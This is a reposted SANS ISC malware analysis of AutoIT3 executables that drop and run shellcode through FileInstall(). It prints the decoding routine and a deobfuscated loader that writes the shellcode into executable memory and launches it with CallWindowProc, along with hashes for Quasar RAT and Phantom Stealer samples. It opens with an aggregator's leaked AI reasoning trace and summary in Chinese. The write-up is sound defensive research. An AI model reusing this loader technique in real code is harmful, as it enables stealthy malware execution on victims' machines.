AutoIT3 Compiled Scripts Dropping Shellcodes, (Fri, Dec 5th)
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内,并且直接描述文章内容,不需要特定的开头。首先,我得仔细阅读这篇文章,理解其主要观点和关键信息。 文章主要讨论了AutoIT3这个编程语言在恶意软件中的应用。AutoIT3虽然主要用于自动化任务,但因其易学性和可编译为独立PE文件的特点,被攻击者滥用。文章提到攻击者利用FileInstall函数将文件嵌入到PE文件中,并在运行时解密和执行恶意代码。此外,作者还提到近期出现了多个使用类似技术的样本,分别投递不同的恶意软件如Quasar RAT和Phantom Stealer。 接下来,我需要提取这些关键点:AutoIT3的滥用、FileInstall函数的作用、恶意代码的加载和执行过程、近期样本的情况以及结论部分提醒关注FileInstall函数。 然后,我要将这些信息浓缩到100字以内,确保涵盖主要技术细节和结论。要注意用词简洁明了,避免冗长的解释。 最后,检查总结是否符合要求:字数控制、直接描述内容、无多余开头。确保所有关键点都被涵盖,并且逻辑清晰。 </think> 文章讨论了AutoIT3语言在恶意软件中的滥用情况。攻击者利用FileInstall函数将文件嵌入到可执行文件中,并在运行时解密和执行恶意代码。近期样本显示攻击者通过此技术投递Quasar RAT和Phantom Stealer等恶意软件。 2025-12-5 07:12:12 Author: isc.sans.edu(查看原文) 阅读量:9 收藏

AutoIT3[1] is a powerful language that helps to built nice applications for Windows environments, mainly to automate tasks. If it looks pretty old, the latest version was released last September and it remains popular amongst developers, for the good… or the bad! Malware written in AutoIt3 has existed since the late 2000s, when attackers realized that the language was easy to learn (close to basic) but can also compiled into standalone PE files! From a malware point of view, such executables make an extended use of packed data, making them more stealthy.

If it became less popular, AutoIT3 is still used by some attackers. I found a sample yesterday that (ab)use a nice feature of the language. The sample was delivered in a ZIP archive, containing a PE fille: ENQ-2548871-PO-AYPC-352-25-UN-01162.exe (SHA256:1e75512b85b8ad27966ea850b69290bc18cc010bcb4f0e1ef119b82c99ca96c0). The file has a VT score of 33/72[2].

The technique used by the threat actor relies on the function FileInstall()[3]. Its purpose is to to include a file into an executed script but… the behavior is subtle and depends on how the script is run. The script call this code:

FileInstall ( "inhumation" , @TempDir & "\inhumation" , 1 )

How does it work?

  • If the script is parsed, the source file must exist all the time.
  • If the script is compiled, the file must exist at compile time only! (It is embedded into the PE file)

When the payload was executed, indeed, it created the file ‘inhumation’ in %TEMP%!

Clasically, the remaining code is obfuscated. The magic is perfomed with a simple function LGYJSYH():

Func LGYJSYH ( $LVRVBGKY )
    Local $PYYTLPGF = ""
    For $WVILGLOS = 1 To StringLen ( $LVRVBGKY )
        Local $NCMTXMB = Asc ( StringMid ( $LVRVBGKY , $WVILGLOS , 1 ) )
        $PYYTLPGF &= Chr ( $NCMTXMB - ( 1 ^ $WVILGLOS ) )
    Next
    Return $PYYTLPGF
EndFunc

The purpose is very simple: it parses a string, and for every character, if converts it with the previous one in the ASCII table (-1). Don't be fooled, the "^" does not reveal some XOR manipulation. In AutoIT, "^" is exponentiation!

In Python, we should have something like this:

def LGYJSYH(s):
    return "".join(chr(ord(c) - 1) for c in s)

Example:

>>> def OZTTVUH(s):
...     return "".join(chr(ord(c) - 1) for c in s)
...
>>> OZTTVUH("lfsofm43")
'kernel32'

Two files are loaded via FileInstall() and one of them is an obfuscated shellcode.

Here is the technique used by the sample to load and execute it:
(The code has been deobfuscated for easier reading)

; Unpack the shellcode on disk
FileInstall ( "buncal" , @TempDir & "\buncal" , 1 )

; Read the shellcode file content
$FMMKSJE = Execute ( "lgyjsyh(FileRead(@TempDir “”\buncal"))" )

; Get the shellcode length
$IXWCTFHCT = BinaryLen ( $FMMKSJE )

; Allocate executable memorty (0x40) to contain the shellcode
$PUJFJJN = DllCall ( “kernel32” , “ptr”, “VirtualAlloc”, “dword" , “0” , “dword”, $IXWCTFHCT, “dword”, “0x3000”, “dword”, “0x40”))[0]

; Prepate the allocated memory as a DLL structure
$QMDAZCZGFO = DllStructCreate ( “byte [“ & $IXWCTFHCT & “]” ) , $PUJFJJN )

; Loads the shellcode in memory
DllStructSetData ( $QMDAZCZGFO , 1 , $FMMKSJE )

; Launch the shellcode!
DllCall ( “user32.dll” , “ptr”, “CallWindowProc”, “ptr”, $PUJFJJN + 9296 , “ptr”, 0 , “ptr”,, 0 , “ptr”, 0 , “ptr”, 0 )

I already covered the use of CallWindowProc() to load a shell code in a previous diary[4]

There is ongoing wave of such samples. I already spotted two samples that use the same technique:

  • "ENQ-2548871-PO-AYPC-352-25-UN-01162.exe" (SHA256:1e75512b85b8ad27966ea850b69290bc18cc010bcb4f0e1ef119b82c99ca96c0)
    • Delivers a Quasar RAT:
  • ENQ_DB9002M_ORDER_M24093_2025.exe (SHA256:7eb8ae8f1216a377da6ccd0cee0b21f2700e9bbc46ae3ebfa876e70296aa4539)
    • Delivers a Phantom stealer

Conclusion: Keep an eye on FileInstall() in AutoIT3 scripts!

[1] https://www.autoitscript.com/site/
[2] https://www.virustotal.com/gui/file/1e75512b85b8ad27966ea850b69290bc18cc010bcb4f0e1ef119b82c99ca96c0
[3] https://www.autoitscript.com/autoit3/docs/functions/FileInstall.htm
[4] https://isc.sans.edu/diary/Interesting+Technique+to+Launch+a+Shellcode/32238

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key


文章来源: https://isc.sans.edu/diary/rss/32542
如有侵权请联系:admin#unsafe.sh